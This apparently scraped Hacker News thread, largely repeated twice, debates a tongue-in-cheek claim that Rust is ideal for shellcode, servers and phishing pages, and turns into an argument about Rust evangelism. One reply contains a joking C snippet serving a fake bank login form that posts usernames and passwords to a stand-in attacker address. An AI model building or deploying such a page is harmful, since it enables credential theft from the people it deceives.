5 ms·

> Which programming language allows to craft shellcodes, build servers, create phishing pages? Before Rust, none! i'd ordinarily consider this too implausible

> Which programming language allows to craft shellcodes, build servers, create phishing pages? Before Rust, none! i'd ordinarily consider this too implausible a statement to be seriously believed, but rust people really do talk like this.

dwattttt 2y ago
If I had to extract meaning from it, I'd say "Never before has there been one language that is at least ok at writing shellcode, a web server, and a phishing page in". Not sure I agree with the statement, but it's a pretty weird category to sit in. C would count as a possible member at least.
- PeterWhittaker 2y ago
  Sure, we can do those things in C, but they are easier and faster to do in Rust, and safer, largely because of Rust's enums (algebraic data types, not as simplistic as C's) and traits, and because of crates: a lot can be done in Rust by gluing together a few well maintained crates. The only language that comes close, AFAICT, is python. Add the fact that Rust's memory safety brings thread safety for free (once you've grokked Rust's memory management model) and yiu get quickly written type safe memory safe thread safe high perfomance code.
  - jerf 2y ago
    There's aggressive language advocacy, and then there's passing into parody. I think you're getting perilously close to the latter here.
    - anonym29 2y ago
      Anyone have any idea what makes Rust evangelists / apologists so religious about it? It's not like it's the only high-performance memory safe language. It wasn't the first. It's not the highest performance. What am I missing?
      - Pannoniae 2y ago
        1. It's highly opionated so there's a cult-like element of an ingroup/outgroup, e.g. "we don't have OOP, OOP is bad! if you use it, you are an outsider and we can do things better in Rustland here!" 2. It's posed as an alternative to C/C++ which have many historical problems. It's very easy to construct a strawman to show Rust is so much better than those ancient languages. ("here's this trivial buffer overflow bug Rust could have prevented!") 3. It's low-level enough that people feel 1337 for using it but not low-level enough to actually require low-level skills to use it. This is why you can see how in many cases, the "solution" to the borrow checker is just cloning everything - because they have zero idea about how to make performant programs. 4. It doesn't have many established libraries/frameworks compared to other languages, so "I wrote X but Rust" is a viable thing. In other languages, this wouldn't stand because there are already established libraries so interest in new ones is not as high + there are certain quality standards you have to meet. 5. It has certain high-profile features which are easy to explain why they are better - option types and slices for example. These Rustaceans are usually not exposed to functional programming before - so they start to embrace simple forms of functional programming. It makes Rust programs look fairly different compared to similar languages, which is another differentiator. It's easy to showcase the advantages of these features in code snippets, which makes it easy to evangelise.
      - PeterWhittaker 2y ago
        We don't have a lot of place for religion in my industry, and safe, performant low level code is everything. Writing and debugging such code in Rust is just easier and faster than in C. Two years ago I was casually learning Rust by night while by day I was extending a scheduler I had previously written in C. I kept wishing I could switch, because I kept having to handcraft in C things I would have gotten for nearly free in Rust. Now, we're designing the Rust replacement for that C program, and it is taking all my will power not to start coding it: that job falls to someone else, and I am wistful about it. Not because I am going to miss the C code, but because it would just be so much fun to do in Rust.
        uecker 2y ago
        Not sure you are trolling us or not, but there is a bit of a contradiction between "here is a huge learning curve to Rust, one that I am still climbing," in the comment above and "is just easier and faster than in C". It is certainly true that you have a lot of things you can easily have at your fingertips with cargo in Rust, which you might need to first identify or even handcraft (if you have no existing framework to rely on) in C. On the other hand, I am not sure this is a good thing. I am a bit skeptical about the cargo / NPM style of package management.
    - PeterWhittaker 2y ago
      If you say so. Considering that you can define the basics of a memory and thread safety for free JSON parser in a single enum in Rust, and derive a lot of utility functions, where C would take a lot more code, and the code would be riskier, well, I'm just going to keep enjoying working in the language. It has a lovely balance of power and conciseness. There is a huge learning curve to Rust, one that I am still climbing, but I haven't been as excited learning and working with a new language since 1987 when I learned C afters years of working with Pascal, Fortran, and a number of procedural job control systems. In the years since, I've written large complex programs and systems in C, JS, bash, and PowrShell, and so far Rust feels like my new forever home, my defauly go to. I'm glad of this, because my industry is heading to memory-safe, compiled languages, and the others I've experienced don't work for me. It's aesthetic, mostly, I guess, but Rust just makes sense.
      - jerf 2y ago
        And there you go, you've passed the line. In response to a suggestion that maybe you could tone it down a bit, you just repeat the party line again, because a slight opening has been spotted and by golly you're not going to let that pass! You're hurting more than you're helping at this point. And, just in case you're having trouble following along, as the evidence rather suggests that you are, note that replying with yet another paeon to Rust will be really missing the point.
        PeterWhittaker 2y ago
        Well, it's nice on this side of the line. There is no party line, and there is no tone. There are over 30 years of experience with C, not all of it pleasant, though most of it productive, and, comparatively speaking, amazing recent experiences with Rust. I do have to shift my thinking from how I would solve problems in C, because the memory management paradigm is so different, but, thanks in part to deep dives into scoping in other languages in pursuit of pernicious bugs, once I make that shift, problems are easier to solve in Rust: The language and the compiler, hand in glove, do a lot of the work for you. You can carp all you like, and that is all it is, carping, not criticism, we'll just happily work along getting a lot done in less time.
  - 1propionyl 2y ago
    > Sure, we can do those things in C, but they are easier and faster to do in Rust ...I don't know what to say to this except "no?". I'd have to question what priors someone making that claim is bringing and where they got them from. > The only language that comes close, AFAICT, is python. With well over a decade in Python experience and having regularly defended it against many claims of unsuitability for many tasks, I have to call BS on this and say that no, that is not even remotely correct. Of all the possible use cases where Python is an easily dismissed but very defensible choice this is NOT one of them. > easier and faster to do in Rust, and safer, largely because of Rust's enums (algebraic data types, not as simplistic as C's) Python enums are largely equivalent to C enums, except you can use string constants as values. Otherwise there's little ergonomic difference. > and traits Python Protocols (less anything that came before) aren't even remotely comparable to Rust traits. And neither affords any major advantage to red team style development. And while memory safety is great for mission critical pieces of a larger system, and language ergonomics are essential for readable and maintainable code, I don't know what either of these possibly has to do with writing exploits. > shellcode, a web server, and a phishing page in Python would at least be a better choice than Rust for all of these, but so would have been Perl 20 years ago.
    - PhilipRoman 2y ago
      I wonder, what is it that causes the hackernews users' inability to comprehend sarcasm?
      - 1propionyl 2y ago
        Well, it not being sarcasm at all might be a start, in this particular case.
        PhilipRoman 2y ago
        oh my god I just looked at the other replies and it's real I'm not sure what to say
    - PeterWhittaker 2y ago
- cmeacham98 2y ago
  Is C actually good at writing a phishing page (or any webpage)? (Although I'm not sure I would consider Rust to be adept in that category either...)
  - dwattttt 2y ago
    I don't know where you'd draw the line, but if you asked me which language made it easier to say, integrate a jinja library that web pages were written in, I know my answer.
  - cozzyd 2y ago
    sure. /* a few tens of lines of boilerplate to listen on on port 80 */ while(true) { int fd = accept(serve_fd, (struct sockaddr*) client_addr, &client_addr_len); const char * response = "HTTP/1.1 200 OK\r\nContent-type: text\html\r\n\r\n<html><head><title>PWNBANK</title></head><body><form method="POST" action="mailto:1337@h4xx0rz.n3t"> Username: <input name="username"><br>Password: <input type="password" name="password"><br> <input type="submit"></form></body></html>"; write(fd,response, sizeof(response)); } (or for better ergonomics, use something like libmicrohttpd)
    - deleted 2y ago
      [deleted]
    - bmicraft 2y ago
      AFAIK there are rust libraries that let you build html pages in rust without actually writing html. Something like maud[0] + actix[1] perhaps. That's probably something that is possible in python but I wouldn't dare try in C. [0] https://maud.lambda.xyz/ https://maud.lambda.xyz/ [1] https://actix.rs/docs https://actix.rs/docs
  - deleted 2y ago
    [deleted]
hardwaregeek 2y ago
I figured that sentence was a little tongue in cheek
- seanw444 2y ago
  Yeah I think parent got wooshed.
  - refulgentis 2y ago
    Wooshed might feel good but the whole thing reads as a wispy joke to me, and every page 404s. Maybe if there was more content than surface level general falsehoods it'd provide enough to chew on, instead of dismiss
ramon156 2y ago
I know I'm repeating the comment above but this was indeed a tongue-in-cheek comment
deleted 2y ago
[deleted]

dwattttt 2y ago

If I had to extract meaning from it, I'd say "Never before has there been one language that is at least ok at writing shellcode, a web server, and a phishing page in". Not sure I agree with the statement, but it's a pretty weird category to sit in. C would count as a possible member at least.

PeterWhittaker 2y ago
Sure, we can do those things in C, but they are easier and faster to do in Rust, and safer, largely because of Rust's enums (algebraic data types, not as simplistic as C's) and traits, and because of crates: a lot can be done in Rust by gluing together a few well maintained crates. The only language that comes close, AFAICT, is python. Add the fact that Rust's memory safety brings thread safety for free (once you've grokked Rust's memory management model) and yiu get quickly written type safe memory safe thread safe high perfomance code.
- jerf 2y ago
  There's aggressive language advocacy, and then there's passing into parody. I think you're getting perilously close to the latter here.
  - anonym29 2y ago
    Anyone have any idea what makes Rust evangelists / apologists so religious about it? It's not like it's the only high-performance memory safe language. It wasn't the first. It's not the highest performance. What am I missing?
    - Pannoniae 2y ago
      1. It's highly opionated so there's a cult-like element of an ingroup/outgroup, e.g. "we don't have OOP, OOP is bad! if you use it, you are an outsider and we can do things better in Rustland here!" 2. It's posed as an alternative to C/C++ which have many historical problems. It's very easy to construct a strawman to show Rust is so much better than those ancient languages. ("here's this trivial buffer overflow bug Rust could have prevented!") 3. It's low-level enough that people feel 1337 for using it but not low-level enough to actually require low-level skills to use it. This is why you can see how in many cases, the "solution" to the borrow checker is just cloning everything - because they have zero idea about how to make performant programs. 4. It doesn't have many established libraries/frameworks compared to other languages, so "I wrote X but Rust" is a viable thing. In other languages, this wouldn't stand because there are already established libraries so interest in new ones is not as high + there are certain quality standards you have to meet. 5. It has certain high-profile features which are easy to explain why they are better - option types and slices for example. These Rustaceans are usually not exposed to functional programming before - so they start to embrace simple forms of functional programming. It makes Rust programs look fairly different compared to similar languages, which is another differentiator. It's easy to showcase the advantages of these features in code snippets, which makes it easy to evangelise.
    - PeterWhittaker 2y ago
      We don't have a lot of place for religion in my industry, and safe, performant low level code is everything. Writing and debugging such code in Rust is just easier and faster than in C. Two years ago I was casually learning Rust by night while by day I was extending a scheduler I had previously written in C. I kept wishing I could switch, because I kept having to handcraft in C things I would have gotten for nearly free in Rust. Now, we're designing the Rust replacement for that C program, and it is taking all my will power not to start coding it: that job falls to someone else, and I am wistful about it. Not because I am going to miss the C code, but because it would just be so much fun to do in Rust.
      - uecker 2y ago
        Not sure you are trolling us or not, but there is a bit of a contradiction between "here is a huge learning curve to Rust, one that I am still climbing," in the comment above and "is just easier and faster than in C". It is certainly true that you have a lot of things you can easily have at your fingertips with cargo in Rust, which you might need to first identify or even handcraft (if you have no existing framework to rely on) in C. On the other hand, I am not sure this is a good thing. I am a bit skeptical about the cargo / NPM style of package management.
  - PeterWhittaker 2y ago
    If you say so. Considering that you can define the basics of a memory and thread safety for free JSON parser in a single enum in Rust, and derive a lot of utility functions, where C would take a lot more code, and the code would be riskier, well, I'm just going to keep enjoying working in the language. It has a lovely balance of power and conciseness. There is a huge learning curve to Rust, one that I am still climbing, but I haven't been as excited learning and working with a new language since 1987 when I learned C afters years of working with Pascal, Fortran, and a number of procedural job control systems. In the years since, I've written large complex programs and systems in C, JS, bash, and PowrShell, and so far Rust feels like my new forever home, my defauly go to. I'm glad of this, because my industry is heading to memory-safe, compiled languages, and the others I've experienced don't work for me. It's aesthetic, mostly, I guess, but Rust just makes sense.
    - jerf 2y ago
      And there you go, you've passed the line. In response to a suggestion that maybe you could tone it down a bit, you just repeat the party line again, because a slight opening has been spotted and by golly you're not going to let that pass! You're hurting more than you're helping at this point. And, just in case you're having trouble following along, as the evidence rather suggests that you are, note that replying with yet another paeon to Rust will be really missing the point.
      - PeterWhittaker 2y ago
        Well, it's nice on this side of the line. There is no party line, and there is no tone. There are over 30 years of experience with C, not all of it pleasant, though most of it productive, and, comparatively speaking, amazing recent experiences with Rust. I do have to shift my thinking from how I would solve problems in C, because the memory management paradigm is so different, but, thanks in part to deep dives into scoping in other languages in pursuit of pernicious bugs, once I make that shift, problems are easier to solve in Rust: The language and the compiler, hand in glove, do a lot of the work for you. You can carp all you like, and that is all it is, carping, not criticism, we'll just happily work along getting a lot done in less time.
- 1propionyl 2y ago
  > Sure, we can do those things in C, but they are easier and faster to do in Rust ...I don't know what to say to this except "no?". I'd have to question what priors someone making that claim is bringing and where they got them from. > The only language that comes close, AFAICT, is python. With well over a decade in Python experience and having regularly defended it against many claims of unsuitability for many tasks, I have to call BS on this and say that no, that is not even remotely correct. Of all the possible use cases where Python is an easily dismissed but very defensible choice this is NOT one of them. > easier and faster to do in Rust, and safer, largely because of Rust's enums (algebraic data types, not as simplistic as C's) Python enums are largely equivalent to C enums, except you can use string constants as values. Otherwise there's little ergonomic difference. > and traits Python Protocols (less anything that came before) aren't even remotely comparable to Rust traits. And neither affords any major advantage to red team style development. And while memory safety is great for mission critical pieces of a larger system, and language ergonomics are essential for readable and maintainable code, I don't know what either of these possibly has to do with writing exploits. > shellcode, a web server, and a phishing page in Python would at least be a better choice than Rust for all of these, but so would have been Perl 20 years ago.
  - PhilipRoman 2y ago
    I wonder, what is it that causes the hackernews users' inability to comprehend sarcasm?
    - 1propionyl 2y ago
      Well, it not being sarcasm at all might be a start, in this particular case.
      - PhilipRoman 2y ago
        oh my god I just looked at the other replies and it's real I'm not sure what to say
  - PeterWhittaker 2y ago
cmeacham98 2y ago
Is C actually good at writing a phishing page (or any webpage)? (Although I'm not sure I would consider Rust to be adept in that category either...)
- dwattttt 2y ago
  I don't know where you'd draw the line, but if you asked me which language made it easier to say, integrate a jinja library that web pages were written in, I know my answer.
- cozzyd 2y ago
  sure. /* a few tens of lines of boilerplate to listen on on port 80 */ while(true) { int fd = accept(serve_fd, (struct sockaddr*) client_addr, &client_addr_len); const char * response = "HTTP/1.1 200 OK\r\nContent-type: text\html\r\n\r\n<html><head><title>PWNBANK</title></head><body><form method="POST" action="mailto:1337@h4xx0rz.n3t"> Username: <input name="username"><br>Password: <input type="password" name="password"><br> <input type="submit"></form></body></html>"; write(fd,response, sizeof(response)); } (or for better ergonomics, use something like libmicrohttpd)
  - deleted 2y ago
    [deleted]
  - bmicraft 2y ago
    AFAIK there are rust libraries that let you build html pages in rust without actually writing html. Something like maud[0] + actix[1] perhaps. That's probably something that is possible in python but I wouldn't dare try in C. [0] https://maud.lambda.xyz/ https://maud.lambda.xyz/ [1] https://actix.rs/docs https://actix.rs/docs
- deleted 2y ago
  [deleted]

hardwaregeek 2y ago

I figured that sentence was a little tongue in cheek

seanw444 2y ago
Yeah I think parent got wooshed.
- refulgentis 2y ago
  Wooshed might feel good but the whole thing reads as a wispy joke to me, and every page 404s. Maybe if there was more content than surface level general falsehoods it'd provide enough to chew on, instead of dismiss

ramon156 2y ago

I know I'm repeating the comment above but this was indeed a tongue-in-cheek comment

deleted 2y ago

[deleted]